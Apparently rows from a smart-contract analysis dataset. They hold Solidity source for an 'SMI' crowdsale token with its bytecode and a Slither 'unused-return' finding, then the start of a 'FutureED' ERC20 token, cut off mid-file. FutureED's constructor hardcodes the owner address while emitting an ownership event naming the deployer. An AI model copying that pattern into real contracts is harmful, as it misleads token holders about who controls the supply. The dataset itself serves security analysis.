bool withinPeriod = now >= preIcoStartTime && now <= preIcoEndTime || now >= icoStartTime && now <= icoEndTime;
bool nonZeroPurchase = msg.value != 0;
return withinPeriod && nonZeroPurchase;
}
// allows transfer of token to new owner
function transferTokenOwnership(address _newOwner) public {
require(msg.sender == owner); // Only the owner of the crowdsale contract should be able to call this function.
//Now lets reference the token that we created....
token.transferOwnership(_newOwner);
}
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title Mintable token
* @dev Simple ERC20 Token example, with mintable token creation
* @dev Issue: * https://github.com/OpenZeppelin/zeppelin-solidity/issues/120
* Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol
*/
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(address(0), _to, _amount);
return true;
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
/**
* @title Burnable Token
* @dev Token that can be irreversibly burned (destroyed).
*/
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
/**
* @dev Burns a specific amount of tokens.
* @param _value The amount of token to be burned.
*/
function burn(uint256 _value) public {
require(_value <= balances[msg.sender]);
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
Burn(burner, _value);
}
}
/**
* @title SocialMediaIncomeCrowdsaleToken
* @dev ERC20 Token that can be minted.
* It is meant to be used in a crowdsale contract.
*/
contract SocialMediaIncomeCrowdsaleToken is MintableToken, BurnableToken {
string public constant name = "Social Media Income"; // solium-disable-line uppercase
string public constant symbol = "SMI"; // solium-disable-line uppercase
uint8 public constant decimals = 18; // solium-disable-line uppercase
}
/**
* @title SocialMediaIncomeCrowdsale
* @dev This is a fully fledged crowdsale.
* The way to add new features to a base crowdsale is by multiple inheritance.
*
* After adding multiple features it's good practice to run integration tests
* to ensure that subcontracts works together as intended.
*/
contract SocialMediaIncomeCrowdsale is Crowdsale {
function SocialMediaIncomeCrowdsale(uint256 _preIcoStartTime, uint256 _preIcoEndTime, uint256 _preIcoRate, uint256 _icoStartTime, uint256 _icoEndTime, uint256 _icoRate, address _wallet) public
Crowdsale(_preIcoStartTime, _preIcoEndTime, _preIcoRate, _icoStartTime, _icoEndTime, _icoRate, _wallet)
{
}
function createTokenContract() internal returns (MintableToken) {
return new SocialMediaIncomeCrowdsaleToken();
}
} | 0x6060604052600436106100db576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806321e6b53d146100e65780634042b66f1461011f578063521eb27314610148578063716344f01461019d5780637e1055b6146101c65780638b092580146101ef5780638da5cb5b1461021c578063910f5b81146102715780639fac9abf1461029a578063a7c3d71b146102c7578063c0b241d7146102f0578063d1e58e0f14610319578063ec8ac4d814610342578063f2fde38b14610370578063fc0c546a146103a9575b6100e4336103fe565b005b34156100f157600080fd5b61011d600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506106e7565b005b341561012a57600080fd5b610132610815565b6040518082815260200191505060405180910390f35b341561015357600080fd5b61015b61081b565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156101a857600080fd5b6101b0610841565b6040518082815260200191505060405180910390f35b34156101d157600080fd5b6101d9610847565b6040518082815260200191505060405180910390f35b34156101fa57600080fd5b61020261084d565b604051808215151515815260200191505060405180910390f35b341561022757600080fd5b61022f610859565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561027c57600080fd5b61028461087e565b6040518082815260200191505060405180910390f35b34156102a557600080fd5b6102ad610884565b604051808215151515815260200191505060405180910390f35b34156102d257600080fd5b6102da610890565b6040518082815260200191505060405180910390f35b34156102fb57600080fd5b610303610896565b6040518082815260200191505060405180910390f35b341561032457600080fd5b61032c61089c565b6040518082815260200191505060405180910390f35b61036e600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506103fe565b005b341561037b57600080fd5b6103a7600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506108a2565b005b34156103b457600080fd5b6103bc6109f7565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b600080600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561043d57600080fd5b610445610a1d565b151561045057600080fd5b34915061045c82610a6b565b905061047382600954610ab490919063ffffffff16565b600981905550600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166340c10f1984836000604051602001526040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b151561054657600080fd5b6102c65a03f1151561055757600080fd5b5050506040518051905050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166340c10f19600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836000604051602001526040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b151561065157600080fd5b6102c65a03f1151561066257600080fd5b50505060405180519050508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f623b3804fa71d67900d064613da8f94b9617215ee90799290593e1745087ad188484604051808381526020018281526020019250505060405180910390a36106e2610ad2565b505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561074257600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f2fde38b826040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050600060405180830381600087803b15156107fe57600080fd5b6102c65a03f1151561080f57600080fd5b50505050565b60095481565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60045481565b60055481565b60006004544211905090565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60025481565b60006005544211905090565b60035481565b60085481565b60075481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156108fd57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561093957600080fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008060006002544210158015610a3657506004544211155b80610a5157506003544210158015610a5057506005544211155b5b915060003414159050818015610a645750805b9250505090565b6000610a7561084d565b1515610a9757610a9060075483610b3690919063ffffffff16565b9050610aaf565b610aac60085483610b3690919063ffffffff16565b90505b919050565b6000808284019050838110151515610ac857fe5b8091505092915050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc349081150290604051600060405180830381858888f193505050501515610b3457600080fd5b565b6000806000841415610b4b5760009150610b6a565b8284029050828482811515610b5c57fe5b04141515610b6657fe5b8091505b5092915050565b6000610b7b610b96565b604051809103906000f0801515610b9157600080fd5b905090565b60405161197480610ba783390190560060606040526000600360146101000a81548160ff02191690831515021790555033600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506119058061006f6000396000f3006060604052600436106100f1576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806305d2035b146100f657806306fdde0314610123578063095ea7b3146101b157806318160ddd1461020b57806323b872dd14610234578063313ce567146102ad57806340c10f19146102dc57806342966c6814610336578063661884631461035957806370a08231146103b35780637d64bcb4146104005780638da5cb5b1461042d57806395d89b4114610482578063a9059cbb14610510578063d73dd6231461056a578063dd62ed3e146105c4578063f2fde38b14610630575b600080fd5b341561010157600080fd5b610109610669565b604051808215151515815260200191505060405180910390f35b341561012e57600080fd5b61013661067c565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561017657808201518184015260208101905061015b565b50505050905090810190601f1680156101a35780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156101bc57600080fd5b6101f1600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506106b5565b604051808215151515815260200191505060405180910390f35b341561021657600080fd5b61021e6107a7565b6040518082815260200191505060405180910390f35b341561023f57600080fd5b610293600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506107b1565b604051808215151515815260200191505060405180910390f35b34156102b857600080fd5b6102c0610b6b565b604051808260ff1660ff16815260200191505060405180910390f35b34156102e757600080fd5b61031c600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610b70565b604051808215151515815260200191505060405180910390f35b341561034157600080fd5b6103576004808035906020019091905050610d56565b005b341561036457600080fd5b610399600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610ea8565b604051808215151515815260200191505060405180910390f35b34156103be57600080fd5b6103ea600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611139565b6040518082815260200191505060405180910390f35b341561040b57600080fd5b610413611181565b604051808215151515815260200191505060405180910390f35b341561043857600080fd5b610440611249565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561048d57600080fd5b61049561126f565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104d55780820151818401526020810190506104ba565b50505050905090810190601f1680156105025780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561051b57600080fd5b610550600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506112a8565b604051808215151515815260200191505060405180910390f35b341561057557600080fd5b6105aa600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506114c7565b604051808215151515815260200191505060405180910390f35b34156105cf57600080fd5b61061a600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506116c3565b6040518082815260200191505060405180910390f35b341561063b57600080fd5b610667600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061174a565b005b600360149054906101000a900460ff1681565b6040805190810160405280601381526020017f536f6369616c204d6564696120496e636f6d650000000000000000000000000081525081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600154905090565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156107ee57600080fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561083b57600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156108c657600080fd5b610917826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118a290919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506109aa826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118bb90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610a7b82600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118a290919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b601281565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610bce57600080fd5b600360149054906101000a900460ff16151515610bea57600080fd5b610bff826001546118bb90919063ffffffff16565b600181905550610c56826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118bb90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff167f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d4121396885836040518082815260200191505060405180910390a28273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b60008060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610da557600080fd5b339050610df9826000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118a290919063ffffffff16565b6000808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e50826001546118a290919063ffffffff16565b6001819055508073ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a25050565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610fb9576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061104d565b610fcc83826118a290919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156111df57600080fd5b600360149054906101000a900460ff161515156111fb57600080fd5b6001600360146101000a81548160ff0219169083151502179055507fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0860405160405180910390a16001905090565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040805190810160405280600381526020017f534d49000000000000000000000000000000000000000000000000000000000081525081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156112e557600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561133257600080fd5b611383826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118a290919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611416826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118bb90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600061155882600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118bb90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156117a657600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515156117e257600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008282111515156118b057fe5b818303905092915050565b60008082840190508381101515156118cf57fe5b80915050929150505600a165627a7a723058209ae394a89a903da76fac89b5d199f681283e3222e750150c6c7967d7b9843fd80029a165627a7a72305820fce7a25fc9dc1125fb28693e800913fcee06e4adc50076bcd39aa04a9ce992300029 | {"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}} | 646 |
0xd99ab2cb386d76da07d6bb595db420fc03a1c392 | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
address msgSender = _msgSender();
_owner = 0xd76AAD65a21fec048bA130981Dd62C90DcEBD28C;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(
newOwner != address(0),
"Ownable: new owner is the zero address"
);
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract FutureED is Ownable, IERC20, IERC20Metadata {
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The defaut value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor () {
_name = 'Future ED';
_symbol = 'FED';
_totalSupply= 500000000 *(10**decimals());
_balances[owner()]=_totalSupply;
emit Transfer(address(0),owner(),_totalSupply);
}
/**
* @dev Returns the name of the token.
*
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 9;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
